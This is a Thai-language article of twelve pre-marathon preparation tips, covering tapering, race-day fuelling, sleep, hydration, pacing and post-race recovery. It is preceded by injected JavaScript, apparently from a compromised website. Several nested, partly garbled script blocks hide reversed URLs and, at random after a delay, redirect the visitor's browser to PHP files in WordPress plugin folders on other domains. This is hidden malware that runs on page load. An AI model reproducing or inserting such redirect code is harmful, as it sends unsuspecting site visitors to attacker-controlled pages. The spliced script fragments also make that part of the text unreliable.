{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</alex<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>ander-redl-185764-unsplash-1-1140x570.jpg)
แม้ในช่วงท้ายๆ ของ 3-4 สัปดาห์สุดท้าย แผนการฝึกวิ่ง มาราธอน จะค่อยๆ เบาลง และช่วยลดระดับความตรึงเครียดที่เกิดขึ้นกับร่างกาย แต่ใครจะรู้ว่าในใจนักวิ่งเวลาเข้าใกล้การแข่งมาราธอนเข้ามาทุกทีนั้น มันตื่นเต้นจนแทบนอนไม่หลับกันเลย
อาการตื่นเต้นจนไม่มีสมาธิในการเตรียมตัว หรือเผลอลืมอะไรไปสักอย่างก็จะเกิดขึ้นได้ง่ายมาก ดังนั้นวันนี้เราเลยมีขั้นตอนการเตรียมตัวง่ายๆ ก่อนก้าวเข้าสู่สนามมาราธอนมาฝากกัน
วิธีเตรียมตัวง่ายๆ สำหรับวิ่ง มาราธอน
1. ลดระดับการฝึกลง ในช่วง 3-4 สัปดาห์ก่อนการแข่งขันมาราธอน เป็นเรื่องธรรมดาที่แผนการฝึกจะค่อยๆ ลดระดับความเข้มข้นลง เพื่อให้ร่างกายได้พักฟื้นเต็มที่ พร้อมรับการแข่งขันจริง แต่ไม่ได้หมายความว่านักวิ่งจะหยุดฝึกไปเลยนะ แค่แผนการฝึกยังคงมีอยู่แต่ปรับให้สั้นลง และเพิ่มเวลาพักให้มากขึ้น
2. ฝึกรับประทานอาหารระหว่างวิ่ง เพราะการวิ่งจำเป็นต้องใช้พลังงาน การวิ่งที่กินเวลามากกว่า 1 ชั่วโมงขึ้นไป นักวิ่งควรจะต้องมีการรับพลังงาน (แคลอรี่) เพิ่มกลับเข้าไป การรับประทานอาหารระหว่างที่วิ่งอยู่จึงเลี่ยงไม่ได้ และนักวิ่งจำเป็นต้องมีการฝึกรับประทานอาหารระหว่างวิ่ง
อาหารเพิ่มพลังงานมีตั้งแต่อาหารประเภทเจลไปจนถึงอาหารแข็ง นักวิ่งควรทดสอบรูปแบบอาหารให้หลากหลาย เพื่อหาว่ารูปแบบไหนตอบสนองต่อเราได้ดีมากที่สุด เจลทุกยี่ห้อเข้ากับร่างกายนักวิ่งไม่ได้ 100% บางคนอาจจะรับเจลไม่ได้ แต่รับของอาหารในรูปแข็งได้ ทดสอบระหว่างวิ่งให้เยอะที่สุดและห้ามทดสอบจริงระหว่างวันแข่งขันเด็ดขาด
3. ฝึก Cross-training นอกจากจะฝึกวิ่ง (คาร์ดิโอ) อย่างเดียวแล้ว นักวิ่งควรฝึกเล่นกีฬาประเภทอื่นดูบ้าง อย่างเช่น การว่ายน้ำ ปั่นจักรยานและยกเวท ทั้งนี้เพื่อปรับให้กล้ามเนื้อชุดอื่นได้ทำงาน ให้ชุดเก่าที่ฝึกวิ่งประจำได้พัก เอาไว้ช่วยคล้ายกลเมเนื้อและความเครียด แถมยังช่วยเสริมสร้างความแข็งแกร่งไปในตัว แต่อย่าหักโหมมากเกิน พวก High-impact training ควรหลีกเลี่ยง
4. นอนให้พอ การนอนหลับพักผ่อนมีผลต่อ Performance การวิ่งและการพักฟื้น (Recovery) ในช่วงใกล้วันแข่งขันแนะนำให้นอนมากขึ้น กดไปเลย 8 ชั่วโมงครับ
5. ทาวาสลีนทุกครั้งก่อนวิ่ง เพื่อป้องกันการเสียดสีตามบริเวณง่ามขาง่ามแขน หรือบริเวณที่คุณคิดว่าจะเกิดการเสียดสีทุกจุด นอกจากนี้ใครที่กลัวจะเกิดเท้าพอง แนะนำให้ใช้ถุงเท้าสำหรับวิ่งหรือถุงเท้าที่เขียนว่า (Anti-Blister)
6. เช็ค Race-kit ก่อนออกจากบ้าน เจ้า BIB นี้ถือว่าเป็นบัตรผ่าน บัตรประจำตัวของนักวิ่งที่ต้องห้ามลืมเด็ดขาด และเมื่อถึงที่พักแล้วให้ลองรื้อออกมาทำพิธีกรรมถ่ายรูปโฟสลงเฟสบุคอีกครั้ง ถือว่าเป็นการทำ Double Check ไปในตัว ถ้าสามารถติด BIB กับเสื้อวิ่งได้ก็ควรติดไปเลย จัดชุดแข่งให้เสร็จก่อนนอน เวลาตื่นมาก็สามารถใส่แล้วออกไปลุยได้เลย ไม่ต้องเสียเวลาค้นหา
7. น้ำห้ามขาด เช็คแผนการดื่มน้ำให้สอดคล้องกับเส้นทางวิ่ง หากต้องใช้เป้น้ำก็ควรเติมน้ำให้เติมไปเลย ในช่วงวันก่อนแข่งขัน เราควรดื่มน้ำอย่าง 2 ลิตร และในวันแข่ง ก็ควรดื่มน้ำก่อนวิ่งและเข้าน้ำห้องก่อนแข่งให้เรียบร้อย แต่อย่าลืมมากเกินไปเดียวจะปวดท้องเอา
8. เสบียงพลังงาน ต้องวางแผนเตรียมเสบียงพลังงานสำหรับใช้วิ่งมีครบกับระยะทาง ถ้าไม่สามารถกินได้หมดในทีเดียว ก็ค่อยๆ กิน แนะนำว่าตั้งเวลาเตือนบนนาฬิกาหรือแอพไว้ก่อนล่วงหน้าเลย ที่สำคัญ “ห้าม” ลองของกินใหม่ๆ ณ วันแข่งเด็ดขาด
9. นัดแนะจุดรวมพล ถ้าไม่ได้ไปคนเดียว ก็ควรนัดแนะจุดรวมพลหลังจากเข้าเส้นชัยว่าจะอยู่ช่วงไหน เพราะแต่ละคนจะมีเวลาวิ่งจบไม่เท่ากัน
10. วิ่งช้าๆ และค่อยๆ ปรับ Pace ให้เร็วขึ้นในกิโลเมตรท้ายๆ อย่าวิ่งไปตามกระแสเวลาตอนปล่อยตัว เพราะจะทำให้เราสูญเสียพลังงานในการวิ่งเร็ว ผิดแผนตามที่วางไว้เดียวจะหมดแรงก่อนถึงเส้นชัย
11. ยิ้มและใจเย็นๆ เข้าไว้ เพราะการวิ่งมาราธอน คือการสู้กับจิตใจ ไม่ใช้การสู้กับระยะทางหรือเวลาแข่งขัน วิ่งต้องยึดตามแผนที่วางไว้ ค่อยๆ เป็น ค่อยๆ ไป
12. เสื้อผ้าและขุดเปลี่ยนหลังแข่งเตรียมให้พร้อม หลังจากพักช่วงระยะเวลาหนึ่งแล้ว ถ้าไม่สามารถหาที่อาบน้ำได้ ก็พยายามเช็ดตัวให้สะอาดแล้วผลัดเปลี่ยนเสื้อผ้าชุดแห้งใส่แทน ป้องกันอาการอับชื้นและให้นักวิ่งสบายตัวมากขึ้น
สุดท้ายนี้ที่ห้ามลืมคือ การทำ Post-race treatment หลังเข้าเส้นชัย อย่าเพิ่งหยุด ต้องเดินหรือวิ่งเบาๆ เพื่อให้อัตราหัวใจค่อยๆ ปรับระดับลงจนถึงระดับปกติ ทำการยืดเส้นยืดสาย คลายกล้ามเนื้อส่วนต่างๆ และต้องดูแลเรื่องสมดุลน้ำในร่างกายด้วย ดื่มน้ำสลับกับเกลือแร่ เพื่อชดเชยสารอิเล็กโตรไลค์ที่เสียไป ทานข้าวและเข้านอนให้เร็ว งดการดื่มเบียร์หรือเหล้าไปก่อนนะครับ ให้ร่างกายได้อาหารที่มีคุณภาพ โปรตีนและคาร์โบไฮเดรต ตามด้วยผักผลไม้ เพื่อนำวิตามินเข้าร่างกายช่วยในการซ่อมแซม
อ้างอิง therunningbug.com
